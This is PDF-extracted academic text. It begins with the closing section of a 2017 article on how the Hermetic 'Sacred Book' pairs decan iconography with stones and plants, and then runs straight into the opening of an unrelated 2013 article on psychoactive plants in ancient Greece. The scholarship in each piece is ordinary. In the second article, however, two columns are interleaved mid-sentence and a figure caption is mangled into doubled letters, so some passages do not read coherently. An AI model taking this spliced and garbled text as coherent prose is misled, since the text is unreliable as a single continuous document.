contexts, often reflected in frankincense offering on miniature altars.50 However, for the choice of this plant another supplementary rationale can be proposed: frank- incense was widely viewed as a solar substance,51 and so it was selected to be assigned to a decan portraying a solar deity. The same plant occurs once more in the Sacred Book, at the third decan in Gemini: it is to be placed under the solar stone heliotrope (ἡλιοτρόπιον).52 Both these links are explained by the astrological truism that the decan has the “face” of the sun. What is relevant here is that the solar aspect of the decan, the ___ 1998) 33–39; L. R. LiDonnici, “Single-Stemmed Wormwood, Pinecones and Myrrh: Expense and Availability of Recipe Ingredients in the Greek Magical Papyri,” Kernos 14 (2001) 61–91, at 65–79. 49 See Zaccagnino, Il thymiaterion 46. On λιβανωτίς meaning incense burner in inscriptions of Isiac cults see L. Bricault, Recueil des inscriptions concernant les cultes isiaques II (Paris 2005) index [4] s.v. λιβανωτίς. 50 On the process of domestication of the Egyptian cults in Graeco- Roman Egypt see D. Frankfurter, Religion in Roman Egypt (Princeton 1998) 131–142; I. S. Moyer and J. Dieleman, “Miniaturization and the Opening of the Mouth in a Greek Magical Text (PGM XII.270–350),” JANER 3 (2003) 47–72. 51 See Detienne, The Gardens of Adonis 7–14; R. L. Gordon, “Reality, Evo- cation and Boundary in the Mysteries of Mithras,” JMithSt 3 (1980) 19–99, at 36–37; LiDonnici, Kernos 14 (2001) 76–77. 52 The name means “turning with the sun.” On its solar identity see the cited sources in Halleux and Schamp, Les lapidaires 237 n.1, and especially the second astrological section of the lapidary ascribed to Damigeron and Evax, in which heliotrope is set under the patronage of the sun and is en- graved with Helios or with solar symbols (233). Cf. PGM XII.273–276. Heliotrope can be identified with a type of green quartz or chalcedony (236 n.3). ————— Greek, Roman, and Byzantine Studies 57 (2017) 136–161 SPYROS PIPERAKIS 149 plant, and the stone is indicated by the ‘fiery’ thunderbolt (κεραυνός) which the decan wields in the right hand.53 A gem in the Getty Museum, engraved with the three forms of the Egyptian sun-god, thus likewise endowed with a solar signifi- cance, portrays a nude bearded figure pouring water from a vessel onto a lightning bolt held in the other hand.54 Similarly, in the Sacred Book the decan holds, in addition to the thunder- bolt, a small water-vessel with the left hand. Those similarities notwithstanding, the two figures are different in form, since the decan in Hermes’ book is described as a woman crowned with a basileion and bearing wings from the waist down to the feet. Decanal iconography and natural substances are joined in a solar context also in the case of the third section of Pisces. The decan is described as invisible (ἀφανής) and having the shape of a coiled serpent55 with a beard and a basileion on its head, quite probably meant to represent the god Agathodaimon.56 This was the “Good Spirit” of the city of Alexandria, the personi- fication of good fortune, abundance, and protection. Although his Greek equivalent can be found in the form and function of Zeus Ktesios, the god had stronger relations with the Egyptian snake-god Shai.57 During the Roman period Agathodaimon was considered a supreme deity and, as such, was assimilated 53 On the connection of thunderbolt with fire see e.g. Plut. Quaest.conv. 4.2 (665E), De Alex. fort. 2.13 (343E); PGM LXII.19. 54 Getty Museum inv. 83.AN.437.45, Michel, Die magischen Gemmen 172. Cf. the similar gem in Paris, Collection De Luynes 168, Delatte and Derchain, Les intailles no. 45 = Mastrocinque, Les intailles no. 469. 55 Similarly, in the astrological calendar preserved in P.Oxy. III 465.201– 202 (2nd cent. CE) the astral deity ruling the 11°–15° of the Egyptian month Pachon (= Pisces) has the form of an erect snake. See O. Neugebauer and H. B. van Hoesen, “Astrological Papyri and Ostraca: Bibliographical Notes,” PAPhS 108 (1964) 57–72, at 62. 56 See Dunand, BIFAO 67 (1969) 9–48, and “Agathodaimon,” LIMC I (1981) 277–282. 57 See J. Quaegebeur, Le dieu égyptien Shaï dans la religion et l’onomastique (Louvain 1975) 170–176, 263–264. ————— Greek, Roman, and Byzantine Studies 57 (2017) 136–161 150 DECANAL ICONOGRAPHY AND NATURAL MATERIALS to the highest divinity of the religious and philosophical thought of the times, the sun-god Helios, as indicated by the ritual practices of the Greek magical papyri.58 This decan is to be carved upon jacinth (ὑάκινθος),59 a stone in sympatheia with the sun according to three astrological texts of later times.60 An earlier text amply demonstrates the stone’s solar physiognomy: in the lapidary of Damigeron and Evax 60.2 (286 H.-S.) alcinio, a type of jacinth, shines when lifted towards the sun.61 Jacinth’s affinity with the sun is shaped by the name itself, derived from the hero Hyacinthus, the lover of Apollo who accidentally killed him with a discus throw. In Greek myth and cult Hyacinthus was merged with the sun-god Apollo,62 and given the mythological connotations of jacinth’s name, it is easy to understand why it entails a solar identity. Jacinth engraved with the bearded snake is fixed in a ring along with the plant ἀνθεµία (Anthemis).63 In ancient rhizotomic taxonomies this phytonym was used for various species of 58 PGM IV.1596–1715, XXXVI.211–230. Cf. the yellow jasper BM inv. G 446, EA 56446, Michel, Gemmen im Britischen Museum no. 332, with the image of a bearded snake with solar rays on its head. When combined with the gem’s inscription (εἷς Ζεὺς Σάραπις), the figure can be interpreted as Agathodaimon/Sarapis. 59 Almost all the Byzantine manuscripts preserving the Sacred Book give for jacinth the name ὑακινθίνη; in its common form, ὑάκινθος, the stone is attested only in Mosquen.gr. 415. Jacinth is mineralogically identified with sapphire or with varieties of amethyst. See Halleux and Schamp, Les lapi- daires 328 n.7. 60 Theophilus of Edessa, in Laurent.gr.plut. 28.34, ed. A. Ludwich, Maximi et Ammonis carminum de actionum auspiciis reliquiae (Leipzig 1877) 121.12 (for the attribution to Theophilus see F. Cumont, CCAG IV 122); De planetarum gem- mis, CCAG IX.2 152–153; Liber de astronomiae disciplinae peritia, CCAG XII 227.7. 61 Cf. the testimony of Solinus (30.33 [136 Mommsen] ~ Isid. Etym. 16.9.3), according to which jacinth’s glow varies with a cloudy or clear day. 62 See T. Bilić, “Apollo, Helios, and the Solstices in the Athenian, Del- phian, and Delian Calendars,” Numen 59 (2012) 509–532, at 524–525. 63 The name ἀνθεµία of the Byzantine manuscripts (except Paris.gr. 2502 ἀνθεµίσα) is a variant of the common form ἀνθεµίς. ————— Greek, Roman, and Byzantine Studies 57 (2017) 136–161 SPYROS PIPERAKIS 151 chamomile.64 It was a hot and dry plant,65 thus endowed with the same two elemental qualities attributed to the sun.66 Indeed, Galen (Simpl.med. 3.10 [XI 562 K.]) says that the wisest of the Egyptians had consecrated chamomile to the sun. His testimony is supplemented by a name found in the list of plant synonyms provided by the Herbarius of Pseudo-Apuleius (23 [62 H.-S.]), where chamomile is called trociscos eliacos, “solar lozenge,” a Greek phytonym possibly included in the herbal prescriptions ascribed to the legendary astrologer Nechepsos.67 Thus, it is safe to assume that the solar physiognomy of jacinth and chamomile is in concordance with the solar physiognomy of Agathodaimon, or, to phrase it differently, Agathodaimon generates the selection of both stone and plant. For the cases that remain to be discussed, decanal iconogra- phy continues to generate signs for material selection, but with- out articulating a pattern of popular Egyptian divinities. The first decan in Leo, named Χνοῦµος,68 is described as a lion- faced coiled snake, turned upwards, with solar rays emanating from its head, in a very similar way as it is portrayed in the Liber Hermetis Trismegisti (1.16). Again, in the B tablet from Grand the astral deity shows up as a lion-headed serpent with a looped tail, standing erect (in A only the looped tail of a serpent is distinguishable).69 This serpent with the radiate lion head is a common motif in gems of the Roman period, where it is often 64 Diosc. Mat.med. 3.137 (II 145–147 W.); Plin. HN 22.53–54. See André, Les noms s.v. anthemis. 65 Gal. Simpl.med. 6.1.47 (XI 833 K.), 3.10 (XI 562 K.); Diosc. Mat.med. 3.137.2 (II 146 W.). 66 Ptol. Tetr. 1.4.1 (22 Hübner) ~ Heph. 1.2.2 (I 31 Pingree). 67 Most likely to be identified with the species Matricaria chamomilla (cf. Ducourthial, Flore 504 n.34). See S. Piperakis, “From Textual Reception to Textual Codification: Thessalos and the Quest for Authenticity,” Open Library of Humanities 2 (2016: http://doi.org/10.16995/olh.37) 1–28, at 6–7. 68 Cf. the name as it appears in another codex preserving the Sacred Book, Vindob.med.gr. 23: Χνουµίτης (in marg. Χνουµιπίς). 69 Abry, in Les tablettes 94. ————— Greek, Roman, and Byzantine Studies 57 (2017) 136–161 152 DECANAL ICONOGRAPHY AND NATURAL MATERIALS designated by the name Χνοῦβις. The form Χνοῦµος in the text follows closely this tradition and can be understood as a Greek rendition of the name of the decan Kenmet (Knm.t). Its serpentine shape can also be traced back to Egyptian represen- tations of Kenmet.70 Even though in the decanal name-lists Kenmet is placed in the third section of Cancer and not the first of Leo,71 the lion-headed serpent is intimately connected to Leo; its head reflects the animal representing Leo,72 while its rays represent the sun, which is ‘at home’ in this zodiacal sign.73 The lion-headed serpent is to be engraved on agate (ἀχάτης).74 An amuletic use of this stone is set out in the second 70 See Neugebauer and Parker, EAT 157–160, no. 2; von Lieven, ARG 2 (2000) 22–24, 27–31. On Chnoubis’ amulets see Bonner, Studies 54–60; Delatte and Derchain, Les intailles 54–57; Michel, Gemmen im Britischen Mu- seum 194–195, and Die magischen Gemmen 165–170; V. Dasen and A. M. Nagy, “Le serpent léontocéphale Chnoubis et la magie de l’époque romaine impériale,” Anthropozoologica 47 (2012) 291–314; Mastrocinque, Les intailles 93–95. Many amulets depict Chnoubis the way he is described in the tract. The most complete catalogue of items is in Michel, Die magischen Gemmen 255–263 (§11). An exhaustive catalogue is now being prepared by Quack for Beiträge. 71 See Gundel, Dekane 77–79; Abry, in Les tablettes 93. 72 Parallels on the leonine form of this decan are found in the writings of the ‘Persian’ astrologer Achmes (Greek version CCAG II 154.33) (10th cent.) and in the Sanskrit poem Yavanajātaka, 3.14 (cf. 2.18), in Pingree, JWarb 26 (1963) 245, 242. The latter was composed in third-century CE India, yet the iconography of the “hours” (halves of a sign) and decans of its second and third chapters reflects the Graeco-Egyptian decanal tradition; see Pingree 223–254. 73 In ancient Egypt the lion was a symbol of the sun, while in Graeco- Roman culture lions were also considered fiery animals: C. de Wit, Le rôle et le sens du lion dans l’Egypte ancienne (Leiden 1951) 138–147; Gordon, JMithSt 3 (1980) 33–34, 36–37. Regarding the Yavanajātaka, Pingree (JWarb 26 [1963] 250) argues that the disheveled hair of the second “hour” and decan of Leo is a misinterpretation of Chnoubis’ solar rays. 74 The name designates a variety of stones, here probably the veined quartz; see Halleux and Schamp, Les lapidaires 317 n.1. ————— Greek, Roman, and Byzantine Studies 57 (2017) 136–161 SPYROS PIPERAKIS 153 astrological section of the Damigeron and Evax lapidary, where agate corresponds to Saturn (a planet that also rules the first decan in Leo) and, when inscribed with the image of a reclining lion, is used as an amulet by slaves.75 In order to find the rationale behind this agate-lion relationship, one must to turn to the lapidarian ‘encyclopedia’. Pliny (HN 37.142), citing Magian tradition, says that agates resemble lions’ skins and are endowed with marvelous powers,76 adding that they had to be tied up with lions’ manes in order to be effective. Thus, the relationship between agate and lions depends on the stone’s resemblance to their skin. This is repeated in the Orphic lapidaries (Lith. 617–621 [115 H.-S.]; Kerygm. 21.3–4 [163 H.- S.]), in which agate is called λεοντοδέρης, “lion’s-skin,” and the reason given for this is its characteristic color. References to the leonine color of the stone are found in other texts as well.77 What the practitioner is further instructed to do is to place under agate the plant λεοντόποδον, “lion’s-foot,” whose name designates a plant with foliage resembling the feet of a lion.78 Thus, for the ancients both stone and plant were generating signs which were in analogy to the iconography of the decan and its zodiacal sign. The same pattern can be seen in the second decan of Scorpio. Represented as a man in full dress standing with feet joined above the scorpion, the decanal figure draws elements from the zodiacal constellation of Scorpio. This iconography is 75 Halleux and Schamp, Les lapidaires 233. 76 See also Isid. Etym. 16.11.1. 77 Socrates and Dionysius 39.3 (172 H.-S.); Damigeron and Evax 17.2 (255 H.-S.); Epiph. De gemmis 8 (197 Ruelle); Aët. Med. 15.15 (79.8–9 Zer- vos). In the Byzantine Hippiatrika (2.148.5) a reference is made to the stone λεονταχάτης, “lion’s-agate”; but this is probably a scribal error and the emended text reads instead λεοντάγχης, “lion-strangling”: see R. Kotansky, “Λεονταχάτης or λεοντάγχης (Hippiatr. 2.148.5)?” Glotta 60 (1982) 110–112. 78 The plant was also rendered by λεοντοπέταλον (Leontice leontopetalum): Diosc. Mat.med. 3.96 and 3.96 RV (II 108–109 W.); Aët. Med. 1.248 (I 102 Olivieri). See André, Les noms s.vv. leontopetalon, leontopodium. ————— Greek, Roman, and Byzantine Studies 57 (2017) 136–161 154 DECANAL ICONOGRAPHY AND NATURAL MATERIALS better preserved in the Liber Hermetis Trismegisti (1.26). There the decan is described as a man who stands with feet joined above the middle part of a scorpion and holds with both hands a large snake that protrudes from each side of his chest, depicting the constellation of Ophiuchus, located between Scorpio and Sagittarius.79 After the engraving, the appropriate stone is set in a ring along with the plant σκορπίουρον or σκορπίουρος, “scorpion- tailed.” A parallel, with no astral semantics whatever, is attested in a recipe in the Kyranides (1.24.100–103 [110 Kai- makis]): the root of σκορπίουρον, along with other ingredients, is set under a stone engraved with a swallow and a scorpion at its feet standing on a sprat. For Dioscorides (Mat.med. 4.190.1 [II 338 W.]) this phytonym denotes the “large heliotrope” (Heliotropium europaeum) on account of the shape of its flower, which resembles a scorpion’s tail.80 On the contrary, for Pliny (HN 22.60) it designates the other species of heliotrope that has a scorpion-tailed seed, called tricoccum (Chrozophora tinctoria).81 In either case, the Hermetic author has chosen this plant because of its value as a metaphor for the corresponding astral iconography (decanal and zodiacal). Since σκορπίουρον/ σκορπίουρος is a synonym of heliotrope, the plant of the sun par excellence, its selection to be assigned to the second section of Scorpio and not the first or third is explained by a logic based on the system of “faces”; for the second decan in Scorpio has 79 Ophiuchus is carved on a hematite in the Cabinet des Médailles, inv. 58.2184, in the form of a naked figure standing on a scorpion and holding a snake with both hands: Bonner, Studies D.352 = Delatte and Derchain, Les intailles no. 383 = Mastrocinque, Les intailles no. 483. 80 Cf. Diosc. Mat.med. 4.190 RV (II 338 W.) σκορπίου οὐρά ~ Ps.-Apul. Herb. 49 (100 H.-S.) ura scorpiu. Schol. Nicander Ther. 676d (250–251 Crugnola) mentions that this name was given to the plant because of the shape of its root. 81 In the alphabetical Dioscorides (Mat.med. 4.191 RV [II 339 W.]) σκορ- πίουρον and σκορπίουρος refer to the second species of heliotrope as well, the “small heliotrope.” On the species see André, Les noms s.vv. scorpiūron, hēliotropium (1, 2); Ducourthial, Flore 288, 529 n.122, 574 n.153. ————— Greek, Roman, and Byzantine Studies 57 (2017) 136–161 SPYROS PIPERAKIS 155 the “face” of the sun. The last decan organized under such a scheme of semantic contours is the second decan in Leo. It has the form of a naked man who wields a scepter in the right hand, a whip in the left, and is surmounted by the lunar crescent. His image is to be carved upon the “moon-stone,” selenite (σεληνίτης).82 Besides the name semantics that can explicitly justify why selenite is associated with a decan crowned with the moon, this reciprocal bond between figure and stone acquires another value if the emblem at top is evaluated as a motif of the goddess Selene.83 Dioscorides (Mat.med. 5.141 [III 100 W.]) remarks that selenite has also been called by some people ἀφροσέληνος, “moon- foam,” because it is found during the night-time when the moon waxes. Under this name the stone is cited in the first astrological section of Damigeron and Evax’s work, where it is linked to Cancer, the “house” of the moon, and is engraved with a female figure wearing cow’s horns, a representation of Isis-Selene.84 In the same vein, instructions for engraving the bust of Selene on selenite in order to make a marvelous amulet are given in the Kyranides (1.10.92–100 [66–67 K.]). In these works the law of similarity is centered on the belief that the “moon-stone” contains the image of the moon, which waxes and wanes depending on its course.85 82 The name σεληνίτης designated a mineral form of foliated gypsum (sulphate of lime): Halleux and Schamp, Les lapidaires 277 n.1. In an excerpt attributed to Theophilus of Edessa (in Ludwich, Maximi et Ammonis carminum 121.20) γῆ λευκή, “white earth,” a kind of gypsum, is a substance in affinity with the moon. 83 See F. Gury, “Selene, Luna,” LIMC VII (1994) 706–715; Michel, Die magischen Gemmen 330 (§49). 84 Halleux and Schamp, Les lapidaires 232. See the discussion in J. F. Quack, “Zum ersten astrologischen Lapidar im Steinbuch des Damigeron und Evax,” Philologus 145 (2001) 337–344, at 339. On the amuletic use of ἀφροσέληνος see further Diosc. Mat.med. 5.141 (III 100 W.); Gal. Simpl.med. 9.2.21 (XII 208 K.). 85 Damigeron and Evax 36.2 (277 H.-S.); Kyr. 1.10.93–94 (66–67 K.). The earliest datable reference is found in Pliny, HN 37.181; further refer- ————— Greek, Roman, and Byzantine Studies 57 (2017) 136–161 156 DECANAL ICONOGRAPHY AND NATURAL MATERIALS More analogies between decanal iconography and inanimate or animate natural objects can be drawn, which however are less sound and therefore my analysis stops here. Applying such a semantic principle in asserting correlations is but one of the various patterns employed by the Hermetic author for organizing his text. It provides him with taxonomic criteria for deciding what materials he will include but also exclude from the vast archives of Hellenistic wisdom. The natural substances selected are distinguished from others in that only they have the ‘legitimizing’ characteristics to be assigned to a particular block of data. However, any scholarly reconstruction of a number of criteria faces the risk of be- coming simple conjecture, inasmuch as sometimes we can only speculate what the author had in mind. For instance, the first decan in Virgo with the form of Isis-Thermouthis is to be carved on coral limestone (κοραλλίτης).86 Juba II of Mau- retania, certainly drawing on a Graeco-Egyptian source, men- tions that a bush that grows at the bottom of the Troglodytic Sea resembling coral is called Isidis crinis, “hair of Isis.”87 Juba refers to coral because both Isidis crinis and coral were considered sea plants that were petrified when cut off.88 One may still wonder whether the link between coral and the “hair of Isis” is echoed in the connection of coral limestone with a goddess whose locks of hair were a common feature of her artistic representations.89 In other cases, rationales other than those proposed above can join the game. For example, the link ___ ences in Halleux and Schamp, Les lapidaires 277 n.1. 86 The name derives from κοράλλιον, “coral.” The most renowned coral was the red one, Corallium nobile. 87 Plin. HN 13.142; see also Agatharch. 108 (GGM I 193); Plut. De fac. 25 (939D). 88 See Halleux and Schamp, Les lapidaires 313–314 n.3. 89 See R. S. Bianchi, “Images of Isis and her Cultic Shrines Recon- sidered. Towards an Egyptian Understanding of the Interpretatio Graeca,” in L. Bricault et al. (eds.), Nile into Tiber. Egypt in the Roman World (Leiden/ Boston 2007) 470–505, at 482–487 (with further bibliography). ————— Greek, Roman, and Byzantine Studies 57 (2017) 136–161 SPYROS PIPERAKIS 157 between the first decan in Gemini, in the form of Seth, and hematite, an iron oxide mineral, can also be elucidated by means of the Egyptian concept that iron is a mineral associated with Seth.90 Furthermore, the affinity of this decan with ὄρχις is equally well explained by the doctrine of decanal “faces,” since it has the “face” of Jupiter, a planet which is allotted to semen and is indicator of engendering.91 Again, the connection of the third decan in Pisces with jacinth might be approached in another way: Pisces is a zodiacal sign ruled by Poseidon, who is associated with jacinth in ancient lapidaries.92 The les- son to be drawn from this is that there are some borderline cases for which one can reconstruct only plausible, not standard, authorial criteria. Next to consider is the framing of such organized knowl- edge(s) within a religious/ritualistic discourse about the con- secration rituals for rings.93 The main ritual praxis consisted of carving the stones with decanal names and figures, followed by the application of plant material. One of the dominant ideas behind such amuletic consecration is that in Egyptian religi- osity the names and images of gods were of immense impor- tance for communicating with the divine. Divine names were an integral part of gods’ personality, while their images were not merely representations but also manifestations of their 90 See S. H. Aufrère, “L’univers minéral dans la pensée égyptienne: essai de synthèse et perspectives (Autour de l’univers minéral X),” Archéo-Nil 7 (1997) 113–144, at 131. 91 Ptol. Tetr. 3.13.5 (234 H.) ~ Heph. 2.13.6 (I 141 P.); Vett. Val. 1.1.17, 18 (2 Pingree) ~ Rhet., CCAG VII 216.5, 6; De planetarum patrociniis, CCAG VII 97.6. 92 Socrates and Dionysius 27 (166 H.-S.); Damigeron and Evax 60.4 (286 H.-S.). See Halleux and Schamp, Les lapidaires 328 n.8. 93 These rituals include gem engravings with designs and/or inscriptions, invocations, purifications, and even sacrifices. The fundamental study on amulet consecration rituals is still S. Eitrem, “Die magischen Gemmen und ihre Weihe,” SymbOslo 19 (1939) 57–85. ————— Greek, Roman, and Byzantine Studies 57 (2017) 136–161 158 DECANAL ICONOGRAPHY AND NATURAL MATERIALS essence.94 By carving stones with decanal names and images and fixing them with their proper plants, natural substances are set under specific symbolic associations. In particular, they are imbued with decanal power and likewise participate in the divine status of their astral deities, according to the Egyptian doctrine that all objects of the physical world, both animate and inanimate, are inherent with divinity.95 One might recall here the theurgic rites of Late Antiquity. Sacred names, graphic marks, stones, and plants that were in some sort of affiliation with divinity became vessels of powers that were used for the animation of statues.96 The manual’s main rite is com- plemented by the required dietary purification and the deter- mination of the astrologically auspicious time when carving and ring-wearing are to be carried out.97 Once again, there is a clear parallel to the statue animation rites, in which astrology seems to have played a certain role in determining the best moment for their performance.98 Through these modes of ritual praxis, all the selected substances (the dietary taboos included) are shifted to the status of the symbolic and, with respect to the stones and plants, are transformed into the living images of the corresponding astral deities. Such a downward chain of astral sympatheia comes more 94 See F. Dunand and C. Zivie-Coche, Gods and Men in Egypt (Ithaca/ London 2004) 24–26, 13–16. 95 See S. H. Aufrère, “Le cosmos, le minéral, le végétal, et le divin,” Bul- letin du Cercle Lyonnais d’Egyptologie Víctor Loret 7 (1993) 7–24, and Archéo-Nil 7 (1997) 113–144; A. von Lieven, “Das Göttliche in der Natur erkennen. Tiere, Pflanzen und Phänomene der unbelebten Natur als Manifestationen des Göttlichen,” ZÄS 131 (2004) 156–172; cf. Quack, Philologus 145 (2001) 337–344. 96 Procl. In Ti. III 6.12–15 Diehl; Iambl. Myst. 5.23; Asclepius 38; cf. August. De civ. D. 10.11. 97 According to the introduction of the tract, carving and ring-wearing are to be happen when the relevant decan crosses the middle part of the Ascendant, the Agathodaimon, and the “place” of Possession or Health (ἕξις). On the “place” of ἕξις see Festugière, La révélation I 140 n.4. 98 Heph. 3.7.13–18 (I 258–259 P.); Jul. Laod., CCAG VIII.4 252–253. ————— Greek, Roman, and Byzantine Studies 57 (2017) 136–161 SPYROS PIPERAKIS 159 clearly into view only when the vividly described figures of decans are manifested in stones and plants (and in some exep- tional cases animals). Only then is the power of images, so much advertised in the introduction of the Sacred Book, con- cretized in actual materials that can be applied in order for the practitioner to put the astral deities under the bonds of neces- sity. Trismegistus puts this eloquently: “when you have hon- ored each one [decan] by means of its proper stone and its proper plant and further its shape, you will possess a great amulet.” When considered together with the manual’s practical intent, such a resonant link between a stone, a plant, and a figure conveys the importance of the semantic principle discussed here in asserting correlations. The tract aims to go beyond the restricted communication channels of author and readers. After its practical application, the manual as a whole will be set aside and what will remain at hand, at least to those with the proper expertise, is not the full range of the criteria for choosing the materials but instead only those that are articulated through material culture, namely the semantics of images, stones, and plants. In contrast to the chosen materials, which are mostly adopted from the Greek taxonomies of the natural world, the rest of the Sacred Book has strong Egyptian connections. Egyptian influences are traceable in the decanal names and figures, which replicate mainly the Seti IB-Family of decans,99 and in the system of melothesia, which has antecedents in the ritual of the deification of the limbs.100 To these can be added Egyptian amuletic objects decorated with decanal figures,101 as well as two decanal lists from the temple of Hathor at Dendera (dated before 30 BCE and ca. 20 CE respectively), in which the decans are associated with minerals, metals, and woods.102 99 This work has been thoroughly undertaken by Quack in Beiträge. 100 See Quack, JbAC 38 (1995) 97–122, esp. 104–113. 101 See Kákosy, Oikumene 3 (1982) 163–191. 102 Neugebauer and Parker, EAT 133–140. Note however that the link of ————— Greek, Roman, and Byzantine Studies 57 (2017) 136–161 160 DECANAL ICONOGRAPHY AND NATURAL MATERIALS Nonetheless, as the product of the international milieu of Graeco-Roman Egypt, the Sacred Book adopts Egyptian elements in a Hellenistic disguise. The decans are those of Graeco-Roman times that have been assimilated to the Babylonian-Greek zodiac and the Greek order of the planets. And even though the ring consecration rituals reflect the tra- ditional temple-based practices for the consecration of statues or other amuletic objects (after all, both gems and statues were viewed as images of divinity, only different in scale), these are intended to take place in domestic space and not in any temple context.103 By introducing the Sacred book as the revealed wisdom of Hermes Trismegistus, the author contextualizes the adopted and adapted knowledge(s) through the prism of divine legiti- mation. In doing so, he responds to the demands of his social milieu for participation in the ‘ancient’ and ‘exotic’ wisdom of Egypt. At the same time, he embeds his text in an already legitimized tradition of similar Hermetic tracts, whose knowl- edge is intensely technical, since their aim is to manipulate nature by the tools of astrology, magic, or alchemy. Their con- tent is in contrast to other Hermetic discourses that deal with religious/philosophical issues. However, Garth Fowden has convincingly shown that both these textual corpora are the products of Graeco-Roman Egypt and, equally important, that any rigid distinction between the technical and philosophical writings is an unhistorical dichotomy.104 The Sacred Book, like other works of the technical Hermetica, ___ stars with stones, trees, and plants also has Hellenistic Babylonian ante- cedents: E. Reiner, Astral Magic in Babylonia (Philadelphia 1995) 130–132. 103 Cf. Moyer and Dieleman, JANER 3 (2003) 47–72. 104 G. Fowden, The Egyptian Hermes. A Historical Approach to the Late Pagan Mind 2 (Princeton 1993), esp. 1–11, 75–115. See also B. P. Copenhaver, Her- metica. The Greek “Corpus Hermeticum” and the Latin “Asclepius” in a New English Translation (Cambridge 1992) xiii–lix; R. van den Broek, “Hermetic Litera- ture I: Antiquity,” in W. J. Hanegraaff et al. (eds.), Dictionary of Gnosis and Western Esotericism (Leiden/Boston 2006) 487–499. ————— Greek, Roman, and Byzantine Studies 57 (2017) 136–161 SPYROS PIPERAKIS 161 promises deliverance from sufferings through the application of decanal medicine.105 And like both the technical and the philo- sophical texts, it is advertised as the revealed Egyptian wisdom introduced in the form of a didactic discourse. What these Her- metic teachings impart is that the whole cosmos is divine and constrained by the chains of sympatheia, or, as Hermes says to Asclepius in the introduction of his book, “for without this decanal arrangement, nothing may come into being, since the universe (τὸ πᾶν) is contained in it.” God teaches man the secrets to reverse the evil vicissitudes of Fate by manipulating the cosmic chains in his own favor, chains that are tangibly rendered if the Sacred Book is ‘decoded’ in the way analyzed here. October, 2016 Athens, Greece spiperakis@gmail.com 105 Besides the Sacred Book and the Liber Hermetis Trismegisti, no other Her- metic tract on decans has come down to us from antiquity. Nevertheless, two ancient reports suggest that similar works attributed to Hermes were in circulation in Egypt. Galen (Simpl.med. 6 proem. [XI 798 K.]) mentions a Hermetic book on the 36 sacred plants of the Horoscopes (decans) that was used by the first century CE rhizotomist Pamphilus of Alexandria. Although quite similar in structure and content, this book was not identical to the Sacred Book; for it included the plant ἀετός which is not in the latter. And the so-called “astrologer of the year 379” (CCAG V.1 209.8–12) knew an iatro- mathematical tract of Hermes, under the title Iatromathematika, which treated the planets of the decans as causes of diseases. ————— Greek, Roman, and Byzantine Studies 57 (2017) 136–161 Received: 29 April 2012 / Accepted: 16 August 2012 © 2013 Sociedad Española de Neurología Neurosciences and History 2013; 1 (1): 28-38 Original Psychoactive plants in ancient Greece F.J. Carod-Artal Visiting Professor of Neurology. College of Medicine and Health Sciences. International University of Catalonia (UIC), Barcelona, Spain. ABSTRACT Introduction. Various literary and archaeological references point to extended use of different psychoactive plants along the eastern Mediterranean region. This article reviews key evidence of the use of psychotropic plants in ancient Greece. Research. The opium poppy (Papaver somniferum) has been used since the Bronze Age or earlier. Opium was used to induce somnolence in the incubation rituals practised in the temples of Asclepius (Asklepios). Nepenthe, described by Homer in the Odyssey, was probably an opium-based preparation; opium had been introduced to the Greeks by way of Egypt. On Crete, a Minoan shrine (1300 BCE) dedicated to the “poppy goddess” of fertility and health was discovered in the village of Gazi. Numerous golden seals from Mycenae and Boeotia show images of states of ecstasy associated with poppy consumption. Ritual inhaling of cannabis smoke arose on the steppes of Asia. Herodotus (5th century BCE) described rituals of inhaling cannabis smoke among Scythians and Mas- sageteans. Initiates in the Eleusinian Mysteries (1500 BCE–4th century CE), took kykeon, a psychoactive secret potion. It is thought that kykeon contained hallucinogenic substances that induced visions and the state of ecstasy associated with the Mysteries. Rye ergot, which contains lysergic acid amides, may have been one of the ingredi- ents of the drink. Conclusions. In the Archaic period in Greece, poppies, cannabis, and other plants such as henbane or datura were used for ritual and medicinal purposes. KEYWORDS Asclepius, Cannabis sativa, Claviceps purpurea, history, Greek medicine, opium, Papaver somniferum. Introduction Various literary and archaeological references point to Hallucinogens are substances that provoke false sen- extended use of different psychoactive plants through- sations or distort perception of the environment (cre- out the Eastern Mediterranean region. The purpose of ating illusions) without causing loss of consciousness this article is to review key evidence of psychoactive when taken in normal, non-toxic doses.1 They are plant use in ancient Greece and the cultural origins also known as entheogens (substances that stimu- of such use.4 late mysticism or divine communication). This word comes from the Greek roots en (full of), theo (god), Analysis and gen (create). Numerous cultures have used these substances throughout history, and at present, many 1. Ancient Greek medicine different ethnic groups still take part in rituals associ- ated with the use of entheogenic plants. For example, Aclepius, god of medicine mescaline and psilocybin-rich mushrooms are used by a number of Mesoamerican cultures. Amanita In Greek mythology, Asclepius was revered as the god muscaria and Ephedra sp. were once used in Indo-Eu- of medicine. The son of Apollo and the mortal wom- ropean religious rites. They were probably included an Coronis, Asclepius possessed the gift of healing. among the ingredients of soma, the sacred drink in According to Pindar (6th century BCE), Apollo made the Rigveda, and Haoma, used in the ancient Zoroas- love to Coronis, daughter of the king of Thessaly. trian religion.2,3 When he departed for Delphi, he left her guarded by a Corresponding author: Dr Francisco Javier Carod-Artal. Telephone (+34) 618684738; fax (+34) 969230407 Calle José Pellicer 46,7C, CP 50007, Zaragoza, Spain. E-mail: fjcarod-artal@hotmail.com 28 Neursci Hist. 2013; 1 (1): 28-38 white crow. Some time later, the crow informed Apol- lo that Coronis had taken a new lover, the mortal man Ischys, to whom she was now betrothed. Apollo then cursed the crow, which has had black feathers ever since (Figure 1), and murdered Coronis. Before burning her body on a funeral pyre, Apollo snatched his son Asclepi- us from her womb. Figure 1. The god Apollo offering libation, shown with a black crow. Museum of Delphi. FFiigguurre a2 . 2A.s cAlespiculse, pGrieoe,k dgoido sof dmee dliaci nme. eNdatiiocnianl aA rgchraieeogloag.i cal MMuusseuemo oAf Artqhuenes.ológico Nacional, Atenas. Asclepius was raised and educated by the centaur Chi- ron, who taught him the art of medicine, the use of me- The Asclepeia dicinal plants, and pharmaka.5 But Zeus, envious of his healing powers and ability to resuscitate the dead, ended The figure of Asclepius was venerated in ancient Greek his life. After death, Asclepius rose to the heavens and medicine, and his successors practiced his art in a net- became the constellation known as Ophiuchus, the ser- work of sanctuaries and healing temples named ascle- pent bearer; his symbol is a serpent entwined around a peia (singular, asclepeion or asklepieion). Temples were staff (Figure 2). often located near a spring or river whose waters were said to have medicinal powers. The shrine of Asclepius His sons Machaon and Podalirius continued practising in Epidaurus was probably the most important during the medical arts their father had taught them. They were this period; other major shrines were located at Kos, considered lesser gods, and Machaon is associated with Knidos, and Pergamum. surgery. A passage in the Iliad narrates how Menelaus 